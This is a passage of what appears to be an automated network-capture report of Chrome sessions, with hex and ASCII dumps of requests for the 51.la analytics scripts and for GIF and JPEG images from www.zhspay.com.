97 11 dd 92 2d 56 57 42 57 76 54 2d 61 42 4a 25 13 62 27 2f 65 f7 54 f2 42 43 65 16 15 57 c5 76 64 b0 07 Data Ascii: 'A6gNnmYilU2Wz=]Bs3\z2 p.#8~g%4w^l]}}#x$s\epg&V`WOg@0P2aEPTp)BS*"&"6QSbs s+@s,?@3^Pc4)u>R=Ad!q-H-VWBWvT-aBJ%b'/eTBCeWvd
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 06 02 7a 46 07 75 10 75 2f f0 5a fd e1 33 fe f1 07 bb 45 1f f3 81 6e 7d 14 84 bb d5 34 f3 e1 34 4a e8 34 ea 81 5b 24 20 1f 58 b0 5c 0e 30 02 cb f5 5c 28 77 85 9a 30 4b 0e 02 22 0e b0 30 16 77 23 25 82 37 35 02 39 4b c0 21 10 82 01 7c c3 72 c2 c4 72 03 d7 ff 09 39 02 07 05 f0 20 83 d3 72 9d f0 06 27 c0 01 fa 05 22 58 f8 20 75 c0 37 03 e7 70 16 e0 38 e3 05 39 9d d0 25 b7 30 61 c1 60 61 89 c8 68 0d 48 4f 70 e0 05 0e b8 88 6a 60 6c 68 92 0b db 54 0b d1 e0 4d 98 01 29 0b 66 39 c9 90 4f 54 c1 02 c5 20 0b 60 00 29 03 05 07 79 20 26 1d 00 24 da 17 0c 87 a8 06 c7 32 63 69 a1 09 4a 36 78 8c c7 78 2c c0 2f a8 20 06 98 46 63 69 f2 8b 8f d7 63 9d e0 77 52 90 26 ab 58 64 e9 e7 8b 89 37 78 cc 08 8c c1 e0 8c c2 20 61 e4 f3 07 55 a6 51 1b f0 5f 5a f6 7b 77 26 04 61 26 04 Data Ascii: zFuu/Z3En}44J4[$ X\0\(w0K"0w#%759K!\|rr9 r'"X u7p89%0a`ahHOpj`lhTM)f9OT `)y &$2ciJ6xx,/ FcicwR&Xd7x aUQ_Z{w&a&
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 74 48 d9 20 26 8b 49 ac 68 2e 1e 63 31 f9 8a 39 09 0c 9c 33 6a 92 d1 7b ad c9 f4 84 24 a4 18 85 49 80 de ac 91 11 34 61 1e e1 f0 2b a4 02 97 2e 67 ec 6d 12 6d 31 93 87 91 38 67 73 9c c3 ff e5 03 d9 1c 71 4b e8 00 65 ac 48 61 2c f6 82 f4 73 5c ee b8 62 21 ff 24 12 bf cd 47 11 06 ac 61 88 25 5a 70 23 5a 87 a1 cd 4c ba 3b 47 79 12 bd 75 cf 86 6a b0 d0 c5 81 8e bf 01 d4 44 3a 38 50 65 c5 ed f3 62 96 f6 10 a6 01 34 7d 76 5c fa 0f 15 ea 29 3e 4c a5 d7 d3 51 c1 cc 16 05 c1 13 24 e7 21 47 33 b4 f8 0c ad 28 15 b6 6f 50 4b 08 35 b0 7f 38 81 96 14 a1 88 18 1d c6 d4 86 17 52 53 99 d7 d4 38 a0 81 0c f7 13 3d 30 b2 05 9b 31 05 54 a0 7f 2a d4 6b 2b 12 6b b5 46 6b 5b 60 7f c8 36 03 35 82 3e 6a 95 08 86 90 3e f4 93 55 19 a8 1b 17 38 6d dc b7 0c 74 62 50 9e 84 15 80 25 02 Data Ascii: tH &Ih.c193j{$I4a+.gmm18gsqKeHa,s\b!$Ga%Zp#ZL;GyujD:8Peb4}v\)>LQ$!G3(oPK58RS8=01T*k+kFk[`65>j>U8mtbP%
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 9a fe 97 16 e6 35 09 3c 4c fa 09 af f8 83 1e 9e 30 e9 49 73 a0 1e d1 20 e8 00 16 3a 87 2c a4 21 0d 09 20 c1 af 7d 1d 52 84 12 34 14 4f 68 5b 26 8a a0 d1 01 28 c7 37 2f 23 68 ca 52 36 05 e1 e8 76 87 7e 50 d9 13 fc eb 87 22 3c ad 03 2f 21 41 02 62 02 0c 43 ff b3 0b 24 1b 55 1b 4d d8 05 d2 ad dd 00 16 6b 7b 82 4d 4c 72 35 ae e2 63 72 8c db 09 26 00 17 00 00 70 45 df fc b6 db e4 ee e1 82 09 f0 9b df 55 98 6a 57 9b b2 52 cd 55 ee e0 3e 29 5b 58 9e 72 95 7e b3 15 70 fc 9e 8a 5b e8 ba f1 d2 b1 8e ae 1f 17 cb d7 ac 30 05 bd 94 1c 75 24 77 5d eb b6 60 00 c1 ea ae 06 48 38 48 07 0c eb bb c4 12 af 32 0d e8 ed 0b ba 60 9a 04 04 87 77 37 f8 cc 8f 6b 30 87 cc be 22 01 ab 51 4d f7 ba 77 02 2e c8 41 7c b9 ad 4d 6d ca 27 b3 e6 68 04 13 45 f8 8d b5 e7 d7 81 dc 10 87 05 57 Data Ascii: 5<L0Is :,! }R4Oh[&(7/#hR6v~P"</!AbC$UMk{MLr5cr&pEUjWRU>)[Xr~p[0u$w]`H8H2`w7k0"QMw.A\|Mm'hEW
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 0f 4e 6d 8e 30 59 60 07 12 b0 0d 6d 2c 20 81 db b8 e3 cb 1b dc 20 98 8c 0c 6f de 8c 3a 06 1b 10 ae 9c d7 09 dc 7a ee a3 9e fa a2 c7 6d d4 f4 9c 36 15 47 a0 03 79 93 35 26 08 a7 15 2e 87 50 0c 9d b3 56 05 bd 42 87 c8 40 04 53 85 c8 9d c3 2b 11 1d 50 44 88 ff 3a a4 4e 46 54 7a 11 76 6e c4 ba 1a a5 c9 47 3f ba dd 75 2e 54 2b dd e9 23 5f 16 ea 9d 91 1c 2a 61 86 02 e0 03 31 ca 9b f3 a2 27 26 56 2a 42 0e 07 00 c1 e9 50 d4 d1 03 28 c0 47 6f ea de 9b 7a c0 9c 08 60 86 be 7c 13 9b 7f 39 11 04 cd e0 d4 16 7c 1b c3 de 92 c9 9e 2e 6b 39 02 f4 71 32 df c0 5c e5 4c 44 a0 ca 36 c0 c4 99 c1 bc e6 f8 8c 39 08 11 38 c1 fd c8 b0 87 38 1c a1 1a 95 a0 c3 31 44 c0 df 37 8f 79 cd 69 26 1c 34 ab dc b7 30 bb 39 ca 88 fe 43 99 9b e9 66 f6 c0 b9 d1 e9 89 f4 75 ca cc b7 fd 1a 5a 91 Data Ascii: Nm0Y`m, o:zm6Gy5&.PVB@S+PD:NFTzvnG?u.T+#_a1'&VBP(Goz`\|9\|.k9q2\LD69881D7yi&409CfuZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49759	148.153.240.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	524	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.zhspay.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:40 UTC	472	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:40 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE2[158],EU-GER-frankfurt-EDGE7-CACHE2[ovl,157],EU-GER-frankfurt-EDGE5-CACHE6[ovl,156],CHN-HElangfang-GLOBAL6-CACHE32[ovl,19] X-CCDN-REQ-ID-46B1: 9ac0d24a51cbbc23ba9b6feb43e15e71
2024-09-27 03:50:40 UTC	15912	IN	Data Raw: 34 61 36 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: 4a6/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2024-09-27 03:50:40 UTC	16384	IN	Data Raw: 29 29 2c 30 78 61 29 3a 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 54 72 69 64 65 6e 74 2f 27 29 3e 30 78 30 3f 28 66 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 Data Ascii: )),0xa):fi['indexOf']('Trident/')>0x0?(fh=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq
2024-09-27 03:50:40 UTC	2102	IN	Data Raw: 5b 30 78 31 5d 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 27 29 5b 27 63 6f 6e 63 61 74 27 5d 28 69 45 5b 27 68 4a 64 59 51 6d 27 5d 28 67 72 29 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 27 29 5b 27 63 6f 6e 63 61 74 27 5d 28 4d 61 74 68 5b 27 72 61 6e 64 6f 6d 27 5d 28 29 5b 27 74 6f 53 74 72 69 6e 67 27 5d 28 30 78 32 34 29 5b 27 73 75 62 73 74 72 27 5d 28 2d 30 78 38 29 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 27 29 2c 69 45 5b 27 4b 68 75 48 53 4f 27 5d 28 29 29 2c 6a 64 3d 6a 36 5b 27 68 72 65 66 27 5d 2c 67 53 3d 7b 27 69 64 27 3a 6a 37 5b 27 69 64 27 5d 2c 27 72 74 27 3a 6a 38 2c 27 74 74 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 74 74 27 5d 2c 27 6b 77 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d Data Ascii: [0x1],'\x0a\x20\x20\x20\x20')['concat'](iE['hJdYQm'](gr),'\x0a\x20\x20\x20\x20')['concat'](Math['random']()['toString'](0x24)['substr'](-0x8),'\x0a\x20\x20'),iE['KhuHSO']()),jd=j6['href'],gS={'id':j7['id'],'rt':j8,'tt':ae['ZNMTWj']['tt'],'kw':ae['ZNMTWj']

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49761	148.153.240.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:40 UTC	349	OUT	GET /20655415.js HTTP/1.1 Host: js.users.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:41 UTC	528	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:41 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Cache-Control: no-store Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE3[144],EU-GER-frankfurt-EDGE7-CACHE3[ovl,141],EU-GER-frankfurt-EDGE5-CACHE3[ovl,140],CHN-HElangfang-GLOBAL6-CACHE66[ovl,17] X-CCDN-REQ-ID-46B1: 71a7f7670af0063524d5ce6849f1a1ca
2024-09-27 03:50:41 UTC	4917	IN	Data Raw: 34 36 65 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 7b 69 74 76 3a 20 31 38 30 30 30 30 30 2c 75 72 6c 31 3a 27 2f 2f 69 61 2e 35 31 2e 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 36 35 35 34 31 35 27 2c 65 6b 63 3a 27 27 7d 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 72 29 7b 69 66 28 6e 5b 72 5d 29 72 65 74 75 72 6e 20 6e 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 6e 5b 72 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 72 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 74 29 2c 6f 2e 6c 6f 61 64 65 64 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 6e 3d 7b 7d 3b 72 65 Data Ascii: 46e(function(){var config = {itv: 1800000,url1:'//ia.51.la/go1?id=20655415',ekc:''};!function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return e[r].call(o.exports,o,o.exports,t),o.loaded=!0,o.exports}var n={};re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49760	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:41 UTC	360	OUT	GET /zhuye/img/wnsr2021.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:41 UTC	230	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:41 GMT Content-Type: image/gif Content-Length: 74577 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-12351" Accept-Ranges: bytes
2024-09-27 03:50:41 UTC	16154	IN	Data Raw: 47 49 46 38 39 61 e8 03 c8 00 f7 cb 00 b6 93 20 f0 66 58 fc b5 09 72 48 17 ff f8 8c fe d5 09 b4 a0 a1 f3 b8 ab 44 00 00 f8 d9 6d f7 b6 29 cf 8f 0b ff f1 30 ff ff ff d7 b3 50 fe 33 34 2b 99 ed fe f3 da b4 04 02 50 24 07 ff 53 00 8f 4f 0b b1 6f 0b ea 36 47 6b 32 08 fa 92 02 d4 6f 08 68 4f b3 ee 22 00 d8 b0 29 d3 92 2a d7 b2 0d fb d9 da fe f7 b1 07 00 01 d5 2b 07 db d5 d5 61 27 4f 8d 4f 26 f4 51 31 b3 6e 27 fe 99 44 8b 6c 29 f8 72 03 b5 70 4d dd 11 00 ff ff 55 f5 b5 47 fa d8 90 d0 96 47 fb d2 b6 f3 90 27 b5 91 4a d8 b5 6c 89 6b 70 93 93 48 4e 27 23 ff ee 66 8f 27 2f 94 69 0c d5 2d 2e ff ff 00 d8 49 32 95 4a 46 db cf 6a da 4d 09 fe 7e 6a d2 74 26 6a 36 2b d7 91 71 b6 26 0a cd b6 ba b2 2c 28 70 51 4f af 52 04 b5 ac 48 af 4f 27 b2 4b 47 fd 97 8e d1 b4 93 ff ff Data Ascii: GIF89a fXrHDm)0P34+P$SOo6Gk2ohO")*+a'OO&Q1n'Dl)rpMUGG'JlkpHN'#f'/i-.I2JFjM~jt&j6+q&,(pQORHO'KG
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: 71 1a 28 85 0e 43 4f 40 80 4e cc 84 ba b1 9b 82 02 01 14 64 a9 96 2a 46 1b 74 a9 97 b6 c1 18 98 dd 93 ae e2 95 54 66 24 70 64 16 c0 88 65 92 e8 13 88 00 8f ba 29 01 8c 28 06 7c 80 06 f8 01 10 e8 e8 6d f2 26 90 e6 41 07 5c 09 11 e0 c0 8d 7a 40 6f 1a 26 0e 9c 01 9c 19 6a 07 f4 27 e2 d8 e7 8c ee 00 79 ce a7 05 a8 5e a5 b1 a3 02 cc 5e db ed 1d 93 ae 54 a6 36 e9 84 a6 63 4f f8 1c 24 cc 4a 4e ec 1c a0 6c e9 83 7c e9 43 a6 aa 14 ac 2a 17 00 40 70 ce a0 2a 40 e1 98 d6 9c 12 94 e4 11 f5 a5 bc 65 41 49 d2 24 00 d6 a4 08 58 00 1c b4 a9 24 54 98 05 14 e6 61 fa 85 03 46 02 62 de 66 8f ea e9 7b d6 a6 5c f6 1e 7d ba e5 a1 d2 27 57 74 00 65 31 5c 94 54 6a de b1 59 50 ca 1f b8 ce 1f 81 76 2a 30 46 e9 94 8a aa ac 40 c0 2f 2a 59 fe 98 2a aa be 2b bc aa 2a ab da 1e dc 61 ff Data Ascii: q(CO@NdFtTf$pde)(\|m&A\z@o&j'y^^T6cO$JNl\|C@p@eAI$X$TaFbf{\}'Wte1\TjYPv0F@/Y+*a
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: 1c 8d 1c 41 6b cd 84 30 c9 7e 42 c1 13 11 61 42 00 89 34 01 ce a6 bc 4d 70 cd ce 29 ab d3 1c 0c 00 37 9d d7 3d 00 00 a5 3c 00 2a a0 02 00 10 d8 a2 c0 d7 db 7b 7d 68 20 57 a0 91 ca eb 45 cb b6 96 97 c3 8a 2e 67 27 a8 7a 19 ba d0 59 a2 bd b2 a2 75 29 54 7e 43 37 90 2a 39 40 76 cc 5a 1d c8 85 1c bc d3 53 c0 60 6d bc 08 11 91 bb 5a d6 78 52 c9 13 dc 95 53 a1 5a 45 e1 d2 a3 3c c6 76 0d 4d 5c 6c d7 1b 6c d3 7a 6d 05 7f 1d d8 34 2d 0a bc dd db 79 4d d8 dc 3b 10 b0 70 2e 22 a8 93 b7 47 b6 87 2a 76 8e 3d 0d 0d b7 b9 c5 05 cb 5d ab 80 db 60 07 f1 eb 97 81 19 d0 bb ff 5c 35 76 d1 b6 6c f3 d9 bc 1b da fd 3b da 3c 79 da 0f 95 10 aa f0 40 1d 1d b4 54 6c 26 2e 20 b4 02 3c 10 94 07 1a db 8c 11 e8 c9 d2 07 31 d7 3b 5d 10 fe 8d 03 82 2d dc eb dc c1 2d ad db 7e 0d d8 34 4d Data Ascii: Ak0~BaB4Mp)7=<{}h WE.g'zYu)T~C79@vZS`mZxRSZE<vM\llzm4-yM;p."G*v=]`\5vl;<y@Tl&. <1;]--~4M
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: 25 00 c3 27 98 d8 47 56 26 14 3d 61 48 4c f9 b5 63 6a ae cf a4 95 73 5a b7 93 20 93 66 52 09 1c c0 a7 b9 80 24 84 0a 78 f7 00 a8 7e 33 72 8f 5a 24 74 95 5d 1c ad 80 d6 65 09 7a ce 9e 73 52 e7 a0 d5 75 96 d9 53 8b 60 07 65 17 05 63 80 be 98 d1 37 72 68 2a 59 88 aa 30 01 98 50 85 ac a3 d0 bc c3 ea a9 8c ce 7a 9b 8d bc b1 75 6b b3 f7 ad 63 83 fc 2a 45 ae ee 1b 9c e4 fa b6 4d d1 26 16 8c 21 fa 8d ef 5a cb 60 03 8f 0d 2d 0d d3 e4 ef 21 01 9b 60 0d d4 01 e7 af b4 07 8a 8d 0b b1 01 2b dc 01 5b 6c 52 03 15 d2 94 06 73 19 9a c5 de 53 d3 1e 74 e2 ee 55 0e 63 e2 04 ff 0c e1 01 0c 81 b3 15 20 a7 1f f9 04 30 9b b2 10 b4 c1 2f 79 ae 77 86 65 4a f7 2b 4e 17 b6 79 82 62 6e 20 66 bf 82 06 fa 82 94 fb bb 32 70 5a b7 8f 9c 9d 8d 06 95 e7 20 0f 62 91 a4 a6 66 f5 88 fb 25 8f Data Ascii: %'GV&=aHLcjsZ fR$x~3rZ$t]ezsRuS`ec7rhY0PzukcEM&!Z`-!`+[lRsStUc 0/yweJ+Nybn f2pZ bf%
2024-09-27 03:50:41 UTC	9271	IN	Data Raw: 85 54 25 38 b2 84 53 5a 50 05 e9 52 4f 48 31 03 13 0d 3c ea d4 d6 56 52 71 93 94 8f de 34 59 c3 14 2c 54 79 a5 95 59 4e c1 23 52 2b 59 75 15 51 53 60 15 ff 25 54 e3 f5 d1 c7 91 31 35 51 43 4f 0e 78 a5 23 9c 71 ba 44 c2 60 bd d5 a6 1b 9e 79 ea 79 9a 0c 7b 7e d6 c8 72 c6 a9 66 dd 9d 98 35 e7 12 67 7e 09 a1 5b 76 85 c2 25 4d 4c b9 45 a6 5c 03 8d 5d d7 67 5c 96 f6 15 68 5c d6 d0 39 98 0c 81 11 76 a8 a4 78 1e b0 85 10 a9 a6 ba c5 01 b1 09 b7 53 71 a6 a2 aa 2a ab d2 11 06 4d 55 a0 42 b7 e9 62 bc 11 da 28 b0 8b ca b6 53 86 13 c1 18 1e 7b e4 29 9b 80 40 2b 3a eb ac 82 08 fd 67 62 b3 cf 96 e8 1f 4c dd d1 c7 a0 89 dd 7a eb 92 b6 de 56 33 e1 37 e5 7e f3 cc 85 0b 0d 31 43 0a 1d a4 30 84 87 e2 ca 2b 22 89 f3 32 a4 62 8a cf 62 f4 22 bf 33 fa 6b 63 49 0b c8 39 70 59 3c Data Ascii: T%8SZPROH1<VRq4Y,TyYN#R+YuQS`%T15QCOx#qD`yy{~rf5g~[v%MLE\]g\h\9vxSq*MUBb(S{)@+:gbLzV37~1C0+"2bb"3kcI9pY<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49762	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:41 UTC	362	OUT	GET /zhuye/img/kaiyun1000.jpg HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:41 UTC	230	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:41 GMT Content-Type: image/jpeg Content-Length: 63943 Last-Modified: Tue, 11 Apr 2023 13:44:24 GMT Connection: close ETag: "64356438-f9c7" Accept-Ranges: bytes
2024-09-27 03:50:41 UTC	16154	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 8d 04 42 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CCB"
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: fc 61 e2 56 4f 53 09 99 d6 9a 77 57 ba f9 9f dd 5e 10 67 54 b1 d9 4e 1e 97 2b 56 56 67 ea b7 8d 3e 26 5a eb 7e 0f b8 b3 bc ba b1 83 4f 8d 99 3c a4 45 57 45 ff 00 65 6b e7 3d 43 54 f8 47 aa 5c 6b 3e 1c f1 a6 9b 7d 07 f6 55 e4 3a f6 99 32 5a b7 fc f2 7d ad f6 9f 97 ca db b2 57 6f 9e b1 7e 2a 7d b3 c3 ff 00 10 16 e2 27 92 4f 31 76 3a 7f 04 75 db 7c 33 d6 24 d2 fc 51 e0 bd 7a f2 d6 3b e7 f0 ce a7 0e a4 e9 b3 e7 f2 d1 f7 32 d7 e1 14 f3 48 54 c7 46 94 d5 f5 48 fe 85 c5 e0 6a d3 cb aa 4b 0e ec d2 6d 1f 99 ff 00 b7 bf 89 e4 f1 8f 84 3e 23 6a 33 7f cb de 9b 6b 32 ff 00 73 69 d6 f5 6d bb 6b f7 43 e0 6f c3 fd 53 e3 1f fc 10 a7 e1 1f 86 74 bf 11 7f c2 25 79 aa 7c 33 f0 bd bb ea 1f db ad a2 b4 70 3d 85 b2 c9 b6 ed 11 bc 96 64 7f 96 bf 10 7f e0 a7 fe 4d bf 8e 3e 3b 41 Data Ascii: aVOSwW^gTN+VVg>&Z~O<EWEek=CTG\k>}U:2Z}Wo~*}'O1v:u\|3$Qz;2HTFHjKm>#j3k2simkCoSt%y\|3p=dM>;A
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: fe d0 ff 00 b3 de 87 f1 a3 ec 7a c5 bd 9c 76 ba df 87 f5 5b 7d 63 4f 74 bd 9e d6 df ed 29 f2 b2 c8 b1 b7 94 de 74 3e 6c 2c ce 95 c3 9c 61 53 5c f0 5c ce dd 4e be 19 e2 3c 5e 06 0a 85 3a 8e 31 ba 76 be 87 e7 d7 8a 7f e0 9c 5f 13 7e 15 69 97 5f 67 b1 b5 f1 34 5a 22 c6 97 bf d9 53 b3 34 2d e5 f9 df 75 95 7c df f8 05 7e 91 7f c1 3b f5 cd 6b e3 27 ec 93 f0 fe fb c6 17 52 4f 7d a8 dd df 59 fd ad d3 6c d2 43 0d c7 92 bf f0 26 d9 5e 1d 2f ed 86 be 04 f0 77 c4 49 ee 12 6b 5b cb 7d 4f c6 5a c5 96 b1 26 d5 b7 7d b7 0f 67 a6 cf 36 ed be 57 df 8a dd 55 eb ec 69 2c e6 93 e0 df 87 35 4f b3 c7 6b 73 69 1a bc b1 43 27 c9 03 48 bb 99 b7 7f 15 7c 56 47 2b d6 74 95 d2 d6 e7 ec 3e 25 78 97 8c e2 0c 8a 96 07 19 08 b9 53 6b 96 49 6b 63 de 24 d4 21 ff 00 8f 58 96 79 de 46 f9 d2 Data Ascii: zv[}cOt)t>l,aS\\N<^:1v_~i_g4Z"S4-u\|~;k'RO}YlC&^/wIk[}OZ&}g6WUi,5OksiC'H\|VG+t>%xSkIkc$!XyF
